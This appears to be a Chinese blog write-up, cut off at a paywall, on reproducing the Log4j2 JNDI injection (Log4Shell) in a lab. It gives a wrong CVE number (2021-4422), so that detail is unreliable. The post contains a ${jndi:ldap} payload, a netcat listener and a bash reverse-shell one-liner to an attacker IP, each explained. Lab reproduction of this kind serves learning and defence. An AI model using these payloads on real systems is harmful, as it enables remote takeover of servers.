最近一直在搞蓝队所以懈怠了更新,主要还是懒得搬笔记
CVE-2021-4422
漏洞原理:log4j2组件在处理程序日志记录时存在JNDI注入缺陷
详解:
在该框架下的lookup查询服务提供了{}字段解析,故payload为${jndi:ldap:恶意url},JNDI会去对对应的服务(如:LDAP、DNS等)查找资源,本例调用LDAP服务,<font color="#f79646">由于对lookup的出栈无限制</font>,导致最终指向攻击者站点,下载远程恶意class文件,最终导致远程rce。
漏洞价值:任意RCE
漏洞利用:LDAP(目录访问协议),RMI(分布式对象应用)
PS:JNDI(java命名和目录接口)用于目录管理,通过名称调用接口
漏洞复现
靶机:192.168.245.1xx
攻击机:192.168.245.1oo
1.DNSlog验证漏洞
payload=\${jndi:ldap\://\${sys:java.version}.DNS地址}
2.攻击机监听端口 7777
nc -lvvp 7777
3.将bash反弹shell命令编码 base64
<font color="#f79646">bash -i >& /dev/tcp/192.168.245.1oo/7777 0>&1</font>
解释:
- bash:启动bash shell
- -i:开启交互式shell会话,允许用户命令输入和获取输出
- >& /dev/tcp/攻击机IP:将输出重定向,将建立一个与该IP和端口相连接的网络套接字,将输出发送至该连接
- 0>&1:输入和输出将通过网络套接字传输
4.使用JNDIexploit进行漏洞利用(注入工具)
poc注意要有

本文详细描述了Log4j2中的JNDI注入漏洞CVE-2021-4422,涉及LDAP和RMI服务,可导致远程代码执行(RCE)。复现步骤包括DNS验证、payload构建和利用工具的使用。文章还提供了修复建议,如过滤特定字符、限制外部访问和调整jndi配置。
最低0.47元/天 解锁文章
2069





